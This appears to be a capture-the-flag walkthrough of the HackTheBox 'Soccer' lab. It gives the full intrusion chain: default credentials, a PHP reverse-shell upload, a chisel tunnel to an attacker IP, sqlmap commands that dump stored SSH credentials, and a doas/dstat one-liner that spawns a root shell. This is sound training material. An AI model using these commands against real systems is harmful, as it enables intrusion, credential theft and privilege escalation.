In this walk through, we will be going through the Soccer room from HackTheBox. This room is rated as Easy on the platform and it consists of exploitation of CVE-2021-45010 in Tiny File Manager to get the initial foothold. Then, via SQL Injection lateral movement was done and at last doas binary was abused to get root. So, let’s get started without any delay.
Table of Contents
Machine Info:
Title | Soccer |
IPaddress | 10.10.11.194 |
Difficulty | Easy |
OS | Linux |
Description | Soccer is an Easy difficulty Linux machine and it consists of exploitation of CVE-2021-45010 in Tiny File Manager to get the initial foothold. Then, via SQL Injection ssh creds was dumped for user player, thus lateral movement was done and at last doas binary was abused to get root. |
Enumeration:
- I started off with my regular Aggressive nmap scan and found two ports 3 ports opened – 22 (SSH), 80 (HTTP) and 9091 (Xmltec).
$ sudo nmap -A 10.10.11.194 [sudo] password for wh1terose: Nmap scan report for 10.10.11.194 Host is up (0.20s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:8.2p1: | CVE-2020-15778 6.8 https://vulners.com/cve/CVE-2020-15778 | C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3 6.8 https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3 *EXPLOIT* | 10213DBE-F683-58BB-B6D3-353173626207 6.8 https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207 *EXPLOIT* | PRION:CVE-2020-12062 5.0 https://vulners.com/prion/PRION:CVE-2020-12062 | PRION:CVE-2016-20012 5.0 https://vulners.com/prion/PRION:CVE-2016-20012 | CVE-2020-12062 5.0 https://vulners.com/cve/CVE-2020-12062 | PRION:CVE-2021-28041 4.6 https://vulners.com/prion/PRION:CVE-2021-28041 | CVE-2021-28041 4.6 https://vulners.com/cve/CVE-2021-28041 | PRION:CVE-2020-15778 4.4 https://vulners.com/prion/PRION:CVE-2020-15778 | CVE-2021-41617 4.4 https://vulners.com/cve/CVE-2021-41617 | PRION:CVE-2020-14145 4.3 https://vulners.com/prion/PRION:CVE-2020-14145 | CVE-2020-14145 4.3 https://vulners.com/cve/CVE-2020-14145 | CVE-2016-20012 4.3 https://vulners.com/cve/CVE-2016-20012 | PRION:CVE-2021-41617 3.5 https://vulners.com/prion/PRION:CVE-2021-41617 | PRION:CVE-2021-36368 2.6 https://vulners.com/prion/PRION:CVE-2021-36368 |_ CVE-2021-36368 2.6 https://vulners.com/cve/CVE-2021-36368 53/tcp filtered domain 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://soccer.htb/ 9091/tcp open xmltec-xmlmail? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: | HTTP/1.1 400 Bad Request | Connection: close | GetRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src 'none' | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 139 | Date: Tue, 12 Dec 2023 08:00:42 GMT | Connection: close | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>Error</title> | </head> | <body> | <pre>Cannot GET /</pre> | </body> | </html> | HTTPOptions, RTSPRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src 'none' | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 143 | Date: Tue, 12 Dec 2023 08:00:43 GMT | Connection: close | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>Error</title> | </head> | <body> | <pre>Cannot OPTIONS /</pre> | </body> |_ </html> 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9091-TCP:V=7.80%I=7%D=12/12%Time=65781324%P=x86_64-pc-linux-gnu%r(i SF:nformix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\ SF:r\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\ SF:x20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r SF:\nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-O SF:ptions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nC SF:ontent-Length:\x20139\r\nDate:\x20Tue,\x2012\x20Dec\x202023\x2008:00:42 SF:\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lan SF:g=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n< SF:/head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(H SF:TTPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Po SF:licy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\ SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143 SF:\r\nDate:\x20Tue,\x2012\x20Dec\x202023\x2008:00:43\x20GMT\r\nConnection SF::\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<m SF:eta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre> SF:Cannot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"H SF:TTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default- SF:src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x2 SF:0text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Tue, SF:\x2012\x20Dec\x202023\x2008:00:43\x20GMT\r\nConnection:\x20close\r\n\r\ SF:n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\" SF:utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS SF:\x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Ba SF:d\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2 SF:F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n") SF:%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnec SF:tion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\ SF:r\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\ SF:x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n"); No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=12/12%OT=22%CT=1%CU=32864%PV=Y%DS=2%DC=T%G=Y%TM=657813 OS:4E%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OP OS:S(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST OS:11NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F= OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5( OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z% OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C OS:D=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 210.72 ms 10.10.14.1 2 210.84 ms 10.10.11.194 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 59.72 seconds
- As per the HTTP title of port 80, the application is redirecting to domain – soccer.htb. So, added it in my /etc/hosts file.
- Next, fired up gobuster on the the webserver running on port 80 to find some juicy directories and got a hit for one. – /tiny.
gobuster dir -u http://soccer.htb/ -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
- The directory reveals a “Tiny File Manager” installation which requires a username and password combo to proceed further.
- I looked up for the default username/password combo online admin:admin@123 and got in using them.
Initial Access:
- Once in the dashboard, i find a writable directory where we can upload files on the server. So uploaded a PHP reverse shell at /var/www/html/tiny/uploads.
- Executed the backdoor shell by navigating to the below URL and got a connection back at our netcat listener. Thus, getting our initial access.
http://soccer.htb/tiny/uploads/backdoor.php
- Next, fired up linpeas to get some low hanging fruits to move laterally on the target. Got an interesting port 3000 listening on localhost which is then being used as a webserver, as per the nginx config files.
Lateral Movement:
- Used chisel on our attacker and target machine in order to forward the port 3000 running on the target localhost to our attacker’s machine port 4444.
# Attacker's machine ./chisel server -p 4444 --reverse
# Victim's machine ./chisel client 10.10.14.24:4444 R:3000:127.0.0.1:3000
- Accessed the application on port 3000 and got an application similar to the one, we encountered in the beginning. However, there are some additional pages in the header section like Login, Signup and match.
- I signed up on the application with some fake information and then logged in using it. The application is showcasing a Ticket ID that is generated randomly and shows if the ticket is valid or not when an input is provided in the blank field.
- Next, checked the source code which reveals a connection that is being made to a websocket running on a virtual host at port 9091 for the checking and creation of the ticket IDs.
- Added the Vhost in my /etc/hosts file and accessed it.
- The soc-player.soccer.htb subdomain holds an exact replica of the application running on port 3000.
- I generated an account and logged in using that. Next, i intercepted the request via Burpsuite.
- The id parameter takes in a value and then check it against the generated value.
- I used an SQL injection payload with the id value and it results in true. That means, the payload works and the application is vulnerable to Blind SQL injection attack.
- Used Sqlmap to dump the database names by querying the web socket running on port 9091 along with the vulnerable endpoint. Found an interesting database called “soccer_db”
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --dbs --threads 10 --level 5 --risk 3 --batch
- Next, dumped the table names from soccer_db Database. Found one – accounts.
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' -D soccer_db --tables
- Now, dumped the column names from accounts table. Got 4 fields – email, id, password, username.
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' -D soccer_db -T accounts --columns
- Dumped all the columns which then reveals the SSH username and password for user player.
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' -D soccer_db -T accounts -C email,id,password,username --dump --threads 10
- Using the found credentials, logged into the server via SSH and captured the user flag.
Player: PlayerOftheMatch2022
Privilege Escalation:
- Fired Linpeas once again on the target and found an interesting entry in SUID bit set binaries. That was – doas.
- Checked the config files for doas and found out that we can run dstat binary as user root without any password.
find / -type f -name "doas.conf" 2>/dev/nul cat /usr/local/etc/doas.conf
- With the help of the exploit from GTFObins, generated a python file with out commands to spawn a system shell. Then, executed the python file as user root using doas giving us a shell as user root.
echo 'import os; os.system("/bin/bash")' > /usr/local/share/dstat/dstat_xxx.py doas -u root /usr/bin/dstat --xxx
- Finally captured the root flag and completed the room.
Also Read: HTB – Pandora
Conclusion:
So that was “Soccer” for you. The machine features a foothold based on default credentials, forfeiting access to a vulnerable version of the Tiny File Manager, which in turn leads to a reverse shell on the target system (CVE-2021-45010). Enumerating the target reveals a subdomain which was vulnerable to a blind SQL injection through websockets. Leveraging the SQLi leads to dumped SSH credentials for the player
user, who can run dstat using doas- an alternative to sudo
. By creating a custom Python plugin for doas, a shell as root was then spawned through the SUID bit of the doas binary, leading to fully escalated privileges. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.